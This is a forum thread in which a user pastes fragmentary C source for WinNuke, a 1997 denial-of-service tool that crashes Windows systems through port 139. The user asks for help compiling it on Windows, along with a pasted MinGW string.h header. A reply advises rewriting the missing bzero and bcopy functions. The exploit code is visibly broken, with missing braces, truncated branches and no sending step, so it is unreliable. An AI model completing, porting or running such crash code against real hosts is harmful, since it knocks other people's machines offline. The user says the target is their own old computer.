So I am sorta interested in viruses. No, I do not plan to make the next conficker or even something that will trash my brothers PC. But I want to learn about how they work. What they do that makes PC's let them into their system...

So for a first, I looked into winnuke. WinNuke is a really old hack that just causes a BSOD of the target using only that computers IP. I have found the source code and need help.

here it is:

/* winnuke.c - (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */
#include <stdio.h>
#include <string.h>
//#include <netdb.h>
//#include <in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
//#include <OS.h>
//#include <inet.h>
//#include <bsd_mem.h>

#define dport 139  /* Attack port: 139 is what we want */
int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;
     bzero((char *)&blah,sizeof(blah));
    if ((he = gethostbyname(server)) != NULL) {
         bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
        printf("Connected to [%s:%d].\n",server,port);
        return 0;
int main(int argc, char *argv[]) {
     if (argc != 2) {
       printf("Usage: %s <target>\n",argv[0]);
     if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
     printf("Sending crash... ");

Now, I have commented out some of the parts that don't work, but might work fine without. But the only two problems I have while compiling is the bzero and bcopy. Those both come from the string.h class but I couldn't find any trace of those anywhere. Take a look for yourself:

 * string.h
 * This file has no copyright assigned and is placed in the Public Domain.
 * This file is a part of the mingw-runtime package.
 * No warranty is given; refer to the file DISCLAIMER within the package.
 * Definitions for memory and string functions.

#ifndef _STRING_H_
#define	_STRING_H_

/* All the headers include this file. */
#include <_mingw.h>

 * Define size_t, wchar_t and NULL
#define __need_size_t
#define __need_wchar_t
#define	__need_NULL
#ifndef RC_INVOKED
#include <stddef.h>
#endif	/* Not RC_INVOKED */

#ifndef RC_INVOKED

#ifdef __cplusplus
extern "C" {

 * Prototypes of the ANSI Standard C library string functions.
_CRTIMP void* __cdecl	memchr (const void*, int, size_t) __MINGW_ATTRIB_PURE;
_CRTIMP int __cdecl 	memcmp (const void*, const void*, size_t) __MINGW_ATTRIB_PURE;
_CRTIMP void* __cdecl 	memcpy (void*, const void*, size_t);
_CRTIMP void* __cdecl	memmove (void*, const void*, size_t);
_CRTIMP void* __cdecl	memset (void*, int, size_t);
_CRTIMP char* __cdecl	strcat (char*, const char*);
_CRTIMP char* __cdecl	strchr (const char*, int)  __MINGW_ATTRIB_PURE;
_CRTIMP int __cdecl	strcmp (const char*, const char*)  __MINGW_ATTRIB_PURE;
_CRTIMP int __cdecl	strcoll (const char*, const char*);	/* Compare using locale */
_CRTIMP char* __cdecl	strcpy (char*, const char*);
_CRTIMP size_t __cdecl	strcspn (const char*, const char*)  __MINGW_ATTRIB_PURE;
_CRTIMP char* __cdecl	strerror (int); /* NOTE: NOT an old name wrapper. */

_CRTIMP size_t __cdecl	strlen (const char*)  __MINGW_ATTRIB_PURE;
_CRTIMP char* __cdecl	strncat (char*, const char*, size_t);
_CRTIMP int __cdecl	strncmp (const char*, const char*, size_t)  __MINGW_ATTRIB_PURE;
_CRTIMP char* __cdecl	strncpy (char*, const char*, size_t);
_CRTIMP char* __cdecl	strpbrk (const char*, const char*)  __MINGW_ATTRIB_PURE;
_CRTIMP char* __cdecl	strrchr (const char*, int)  __MINGW_ATTRIB_PURE;
_CRTIMP size_t __cdecl	strspn (const char*, const char*)  __MINGW_ATTRIB_PURE;
_CRTIMP char* __cdecl	strstr (const char*, const char*)  __MINGW_ATTRIB_PURE;
_CRTIMP char* __cdecl	strtok (char*, const char*);
_CRTIMP size_t __cdecl	strxfrm (char*, const char*, size_t);

#ifndef __STRICT_ANSI__
 * Extra non-ANSI functions provided by the CRTDLL library
_CRTIMP char* __cdecl	_strerror (const char *);
_CRTIMP void* __cdecl	_memccpy (void*, const void*, int, size_t);
_CRTIMP int __cdecl 	_memicmp (const void*, const void*, size_t);
_CRTIMP char* __cdecl 	_strdup (const char*) __MINGW_ATTRIB_MALLOC;
_CRTIMP int __cdecl	_strcmpi (const char*, const char*);
_CRTIMP int __cdecl	_stricmp (const char*, const char*);
_CRTIMP int __cdecl	_stricoll (const char*, const char*);
_CRTIMP char* __cdecl	_strlwr (char*);
_CRTIMP int __cdecl	_strnicmp (const char*, const char*, size_t);
_CRTIMP char* __cdecl	_strnset (char*, int, size_t);
_CRTIMP char* __cdecl	_strrev (char*);
_CRTIMP char* __cdecl	_strset (char*, int);
_CRTIMP char* __cdecl	_strupr (char*);
_CRTIMP void __cdecl	_swab (const char*, char*, size_t);

#ifdef __MSVCRT__
_CRTIMP int __cdecl  _strncoll(const char*, const char*, size_t);
_CRTIMP int __cdecl  _strnicoll(const char*, const char*, size_t);

#ifndef	_NO_OLDNAMES
 * Non-underscored versions of non-ANSI functions. They live in liboldnames.a
 * and provide a little extra portability. Also a few extra UNIX-isms like
 * strcasecmp.
_CRTIMP void* __cdecl	memccpy (void*, const void*, int, size_t);
_CRTIMP int __cdecl	memicmp (const void*, const void*, size_t);
_CRTIMP char* __cdecl	strdup (const char*) __MINGW_ATTRIB_MALLOC;
_CRTIMP int __cdecl	strcmpi (const char*, const char*);
_CRTIMP int __cdecl	stricmp (const char*, const char*);
__CRT_INLINE int __cdecl
strcasecmp (const char * __sz1, const char * __sz2)
  {return _stricmp (__sz1, __sz2);}
_CRTIMP int __cdecl	stricoll (const char*, const char*);
_CRTIMP char* __cdecl	strlwr (char*);
_CRTIMP int __cdecl	strnicmp (const char*, const char*, size_t);
__CRT_INLINE int __cdecl
strncasecmp (const char * __sz1, const char * __sz2, size_t __sizeMaxCompare)
  {return _strnicmp (__sz1, __sz2, __sizeMaxCompare);}
_CRTIMP char* __cdecl	strnset (char*, int, size_t);
_CRTIMP char* __cdecl	strrev (char*);
_CRTIMP char* __cdecl	strset (char*, int);
_CRTIMP char* __cdecl	strupr (char*);
#ifndef _UWIN
_CRTIMP void __cdecl	swab (const char*, char*, size_t);
#endif /* _UWIN */
#endif /* _NO_OLDNAMES */

#endif	/* Not __STRICT_ANSI__ */

 * Unicode versions of the standard calls.
 * Also in wchar.h, where they belong according to ISO standard.
_CRTIMP wchar_t* __cdecl wcscat (wchar_t*, const wchar_t*);
_CRTIMP wchar_t* __cdecl wcschr (const wchar_t*, wchar_t);
_CRTIMP int __cdecl	wcscmp (const wchar_t*, const wchar_t*);
_CRTIMP int __cdecl	wcscoll (const wchar_t*, const wchar_t*);
_CRTIMP wchar_t* __cdecl wcscpy (wchar_t*, const wchar_t*);
_CRTIMP size_t __cdecl	wcscspn (const wchar_t*, const wchar_t*);
/* Note:  _wcserror requires __MSVCRT_VERSION__ >= 0x0700.  */
_CRTIMP size_t __cdecl	wcslen (const wchar_t*);
_CRTIMP wchar_t* __cdecl wcsncat (wchar_t*, const wchar_t*, size_t);
_CRTIMP int __cdecl	wcsncmp(const wchar_t*, const wchar_t*, size_t);
_CRTIMP wchar_t* __cdecl wcsncpy(wchar_t*, const wchar_t*, size_t);
_CRTIMP wchar_t* __cdecl wcspbrk(const wchar_t*, const wchar_t*);
_CRTIMP wchar_t* __cdecl wcsrchr(const wchar_t*, wchar_t);
_CRTIMP size_t __cdecl	wcsspn(const wchar_t*, const wchar_t*);
_CRTIMP wchar_t* __cdecl wcsstr(const wchar_t*, const wchar_t*);
_CRTIMP wchar_t* __cdecl wcstok(wchar_t*, const wchar_t*);
_CRTIMP size_t __cdecl	wcsxfrm(wchar_t*, const wchar_t*, size_t);

#ifndef	__STRICT_ANSI__
 * Unicode versions of non-ANSI string functions provided by CRTDLL.

/* NOTE: _wcscmpi not provided by CRTDLL, this define is for portability */
#define		_wcscmpi	_wcsicmp

_CRTIMP wchar_t* __cdecl _wcsdup (const wchar_t*);
_CRTIMP int __cdecl	_wcsicmp (const wchar_t*, const wchar_t*);
_CRTIMP int __cdecl	_wcsicoll (const wchar_t*, const wchar_t*);
_CRTIMP wchar_t* __cdecl _wcslwr (wchar_t*);
_CRTIMP int __cdecl	_wcsnicmp (const wchar_t*, const wchar_t*, size_t);
_CRTIMP wchar_t* __cdecl _wcsnset (wchar_t*, wchar_t, size_t);
_CRTIMP wchar_t* __cdecl _wcsrev (wchar_t*);
_CRTIMP wchar_t* __cdecl _wcsset (wchar_t*, wchar_t);
_CRTIMP wchar_t* __cdecl _wcsupr (wchar_t*);

#ifdef __MSVCRT__
_CRTIMP int __cdecl  _wcsncoll(const wchar_t*, const wchar_t*, size_t);
_CRTIMP int   __cdecl _wcsnicoll(const wchar_t*, const wchar_t*, size_t);
#if __MSVCRT_VERSION__ >= 0x0700
_CRTIMP  wchar_t* __cdecl _wcserror(int);
_CRTIMP  wchar_t* __cdecl __wcserror(const wchar_t*);

#ifndef	_NO_OLDNAMES
/* NOTE: There is no _wcscmpi, but this is for compatibility. */
int __cdecl wcscmpi (const wchar_t * __ws1, const wchar_t * __ws2);
__CRT_INLINE int __cdecl
wcscmpi (const wchar_t * __ws1, const wchar_t * __ws2)
  {return _wcsicmp (__ws1, __ws2);}
_CRTIMP wchar_t* __cdecl wcsdup (const wchar_t*);
_CRTIMP int __cdecl	wcsicmp (const wchar_t*, const wchar_t*);
_CRTIMP int __cdecl	wcsicoll (const wchar_t*, const wchar_t*);
_CRTIMP wchar_t* __cdecl wcslwr (wchar_t*);
_CRTIMP int __cdecl	wcsnicmp (const wchar_t*, const wchar_t*, size_t);
_CRTIMP wchar_t* __cdecl wcsnset (wchar_t*, wchar_t, size_t);
_CRTIMP wchar_t* __cdecl wcsrev (wchar_t*);
_CRTIMP wchar_t* __cdecl wcsset (wchar_t*, wchar_t);
_CRTIMP wchar_t* __cdecl wcsupr (wchar_t*);
#endif	/* Not _NO_OLDNAMES */

#endif	/* Not strict ANSI */

#endif  /* _WSTRING_DEFINED */

#ifdef __cplusplus

#endif	/* Not RC_INVOKED */

#endif	/* Not _STRING_H_ */

Oh yeah, and don't start saying "All your going to do is spam the fk out of random people" because I'm not. I have another old desktop thats running Windows 95 on it... Yes, I do plan to hack my own computers...

/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */

Hey this says it's tested on these OSes , You might not find all functions on a Win Machine. Try to understand what these missing functions do and use other functions (or dirty code manipulating characters ) to do the same.